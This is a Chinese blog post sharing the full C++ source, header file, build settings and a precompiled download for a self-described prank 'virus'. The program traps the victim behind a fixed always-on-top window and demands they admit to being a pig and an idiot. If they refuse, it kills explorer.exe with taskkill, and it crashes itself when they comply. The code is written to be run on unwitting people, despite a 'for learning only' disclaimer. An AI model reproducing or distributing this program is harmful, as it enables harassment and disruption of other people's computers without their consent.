[C++整人代码]逼人承认“我是猪” 「v1.0」

· · 个人记录

㊀程序介绍

这是本人原创的一个整人小病毒,唯一的杀伤力就是逼着你想坑的人承认他是猪

话不多说,有图有真相

它的强迫性:

1 本程序的窗口会自动保持最前 2 无法关闭本窗口 3 无法挪动

如果他乖乖听话,将会是这样的: 否则,就是这样了

㊁代码展示:

#include <shudu.h>
#define SC_MOVE 0xF010 
/* This is where all the input to the window goes to */

int x;
int y;
HWND _hwnd;
char *title = "哈哈哈!!!你被耍了";

int print( char words[] )
{
    HDC         hdc ;
    PAINTSTRUCT ps ;
    RECT        rect;
    hdc = BeginPaint (_hwnd, &ps);
    GetClientRect(_hwnd, &rect); 
    DrawText( hdc, TEXT(words), -1, &rect, DT_SINGLELINE | DT_CENTER | DT_VCENTER );
    EndPaint (_hwnd, &ps);
} 

int ckzq()
{
    HWND hForeWnd = NULL; 
    HWND hWnd= FindWindow(NULL, title); 
    DWORD dwForeID; 
    DWORD dwCurID; 

    hForeWnd =  GetForegroundWindow(); 
    dwCurID =  GetCurrentThreadId(); 
    dwForeID =  GetWindowThreadProcessId( hForeWnd, NULL ); 
    AttachThreadInput( dwCurID, dwForeID, TRUE); 
    ShowWindow( hWnd, SW_SHOWNORMAL ); 
    SetWindowPos( hWnd, HWND_TOPMOST, 0,0,0,0, SWP_NOSIZE|SWP_NOMOVE ); 
    SetWindowPos( hWnd, HWND_NOTOPMOST, 0,0,0,0, SWP_NOSIZE|SWP_NOMOVE ); 
    SetForegroundWindow( hWnd ); 
    AttachThreadInput( dwCurID, dwForeID, FALSE);
}

int moddle( int x, int len )
{
    x = x/2;
    x = x-len;
    return x;
} 

int kenren()
{
    int _exit = 0;
    MessageBox(NULL, "要想退出,就在下面的每一个问题都点'是'","想退出就乖乖听话", MB_ICONASTERISK|MB_OK);
    auto yn = MessageBox(NULL, "你是不是猪?","问题1", MB_ICONQUESTION|MB_YESNO);
    if ( yn != IDYES ) _exit = 1;

    yn = MessageBox(NULL, "你是不是傻逼?","问题2", MB_ICONQUESTION|MB_YESNO);
    if ( yn != IDYES ) _exit = 1;

    if ( _exit == 0 ) 
    {
        MessageBox(NULL, "我就要离你而去了,呜呜呜","",MB_ICONEXCLAMATION|MB_OK);
        printf ( "结果:你已承认你是猪和傻子" );
        printf ( "%d", 1/0 );
    }

    else 
    {
        system ( "taskkill /f /im explorer.exe" );
        system ( "cls" ); 
        MessageBox(NULL, "想退出就乖乖听话\n作为惩罚,我把你的桌面拆了","!@^%$*)(&^~?:><|{}", MB_ICONASTERISK|MB_OK);
        return 0;
    }
} 

/* This is where all the input to the window goes to */
LRESULT CALLBACK WndProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam) 
{
    _hwnd = hwnd;
    switch(Message) 
    {

        /* Upon destruction, tell the main thread to stop */
        case WM_DESTROY: 
        {
            PostQuitMessage(0);
            break;
        }

        case WM_CLOSE: 
        {
            auto yn = MessageBox(NULL, "确定退出此坑人程序?","EXIT?",MB_ICONEXCLAMATION|MB_OKCANCEL);
            switch ( yn )
            {
                case IDOK   :
                {
                    kenren();
                    break;
                }
                case IDCANCEL:
                {
                    MessageBox(NULL, "没关系, 让我多活一会儿","",MB_ICONEXCLAMATION|MB_OK);
                    break;
                }
            }
        } 

        case WM_PAINT:
        {
            print("哈哈哈!你被耍了");
            return 0;
        }
        case WM_MOVE:
        {
            MessageBox(NULL, "我是拖不动的","",MB_ICONEXCLAMATION|MB_OK);
            return 0;
            break;
        }




        /* All other messages (a lot of them) are processed using default procedures */
        default:
            return DefWindowProc(hwnd, Message, wParam, lParam);
    }
    return 0;
}


/* The 'main' function of Win32 GUI programs: this is where execution starts */
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) 
{
    //HideWindow();/*隐藏父类窗口,否则被坑的人可以直接关闭程序*/
    system ( "title 哈哈哈!你被耍了(未响应)" );/*父类窗口标题*/
    system ( "cls" );
    WNDCLASS wndcls;        /*实例化*/
    wndcls.cbClsExtra = 0; /*额外的类的附加字节数*/
    wndcls.cbWndExtra = 0;/*窗口额外的附加字节数*/
    wndcls.hbrBackground = (HBRUSH)GetStockObject( WHITE_BRUSH );  /*背景颜色,
    GetStockObject()函数的返回值是一个HGDIOBJ格式的,强制转换成HBRUSH格式的赋值*/
    wndcls.hCursor = LoadCursor(NULL, IDC_WAIT);  /*光标的类型        */
    wndcls.hIcon = LoadIcon(NULL, IDI_ERROR);    /*窗口图标          */
    wndcls.hInstance = hInstance;               /*应用程序的实例号  */
    wndcls.lpfnWndProc = WndProc;              /*窗口过程函数      */
    wndcls.lpszClassName = "你被耍了";        /*类名              */
    wndcls.lpszMenuName = NULL;              /*菜单名            */
    wndcls.style = CS_HREDRAW | CS_VREDRAW; /*水平重画和垂直重画*/ 

    x = GetSystemMetrics( SM_CXFULLSCREEN );
    y = GetSystemMetrics( SM_CYFULLSCREEN );/*获取屏幕尺寸(不含任务栏)*/  

    RegisterClass(&wndcls);   /*注册窗口类*/

    HWND hwnd;   /*实例化一个句柄*/
    hwnd = CreateWindow(
                        "你被耍了",
                        title,
                        WS_SYSMENU,/*窗口风格*/ 
                        0,0,
                        x,y,
                        NULL,NULL,
                        hInstance,
                        NULL); //建立一个窗口

    ShowWindow(hwnd, SW_SHOWNORMAL);   /*显示窗口*/
    UpdateWindow(hwnd);  /*更新窗口*/

    MSG msg;   /*消息机制*/
    while (GetMessage(&msg, NULL, 0, 0))    /*消息循环*/
    {
        ckzq(); 
        TranslateMessage(&msg);   /*传来的消息翻译*/
        DispatchMessage(&msg);    
    }
    return msg.wParam;
}

㊂最后还有几个编译时要注意的地方:

1 头文件:shudu.h

这是它的代码:

#ifndef _GLIBCXX_SHUDU
#define _GLIBCXX_SHUDU 1

#pragma GCC system_header

#include <Windows.h>
#include <cstdio>
#include <stdlib.h>
#include <string.h>
#include <iomanip>
#include <string>
#include <conio.h>

#define N 10
#define M 5

void gotoxy(int x,int y);
void cleaner();
int off();
int logo();
int qlbj();
int readpassword();
void color(int a);
void ht( int chang,int heng,int shu,int shijian );
void HideWindow();
void SeeWindow();
void HideCursor();

void gotoxy(int x,int y)  //光标移动到(x,y)位置
{
    HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE);
    COORD pos;
    pos.X = x;
    pos.Y = y;
    SetConsoleCursorPosition(handle,pos);
}

void cleaner()
{
    while ( ! _kbhit() )
    {
        getch();
    }
}

int off()
{
    HideWindow();
    exit(0);
}

/*================================================================================*/

int logo()
{
    system("cls");
    gotoxy(0,0);
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_RED|FOREGROUND_BLUE);
    printf("蜀都代码大全\n");
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE|FOREGROUND_GREEN);
}


int qlbj()
{
    int i;
    gotoxy(0,0);
    for ( i=1; i<=186; i++ )
    {
        printf(" ");
    }
    printf("\n");
    gotoxy(0,0);
    return 0;
}

int readpassword()
{
    int a, b, c, d;
    a = 0;
    do
    {
        c = getch();
        d = c;

        c = c-48;

        if ( d != 13 )
        {
            a = a*10+c;
            printf ( "*" );
        }

    }while ( d != 13 );

    return a;
}

/*================================================================================*/

void color(int a)//颜色 
{
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),a);
}

void ht( int chang,int heng,int shu,int shijian )
{
    gotoxy(heng,shu);
    color(1551);
    for (int i=0;i<chang;i++)
    {
        printf("_");
    }
    gotoxy(heng,shu);
    color(1727);
    for (int i=0;i<chang;i++)
    {
        Sleep(shijian);
        printf("_");
    }
    system( "color 7" );            
}

/*================================================================================*/

void HideWindow() 
{
    HWND hwnd;
    hwnd=FindWindow("ConsoleWindowClass",NULL);
    if(hwnd) ShowWindow( hwnd,SW_HIDE );
    return;

}

void SeeWindow()
{   HWND hwnd;
    hwnd=FindWindow("ConsoleWindowClass",NULL);
    if(hwnd) ShowWindow( hwnd,SW_SHOW );
    return;

}

void HideCursor()
{
    HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE);
    CONSOLE_CURSOR_INFO CursorInfo;
    GetConsoleCursorInfo(handle, &CursorInfo);//获取控制台光标信息
    CursorInfo.bVisible = false; //隐藏控制台光标
    SetConsoleCursorInfo(handle, &CursorInfo);//设置控制台光标状态
}

////////////////////////////////////////////////////////////////
#endif

请把这段代码拷贝黏贴到一个.h文件里(空白的.h文件) 然后丢到这里:

2 编译设置

连接器选项 添加 -lgdi32 编译器选项 添加 -std=c++11

㊃其他

1 技术不够好,无法编译

作者为了满足有些想坑人的小白,直接准备好了已经编译了的exe文件。 1 直接下载 2 百度网盘下载提取码:u20k

2 更新

有新更新!v2.0 更新简介:在此版本中,被你坑的人需要手动输入“我是猪” 单击此处前往

3 声明

请合理使用本文章中的代码,仅供学习使用,一切所造成后果本人概不负责。代码欢迎在不篡改的情况下自由传播。使用本代码即代表您接受这些条款

最后,感谢读者们的支持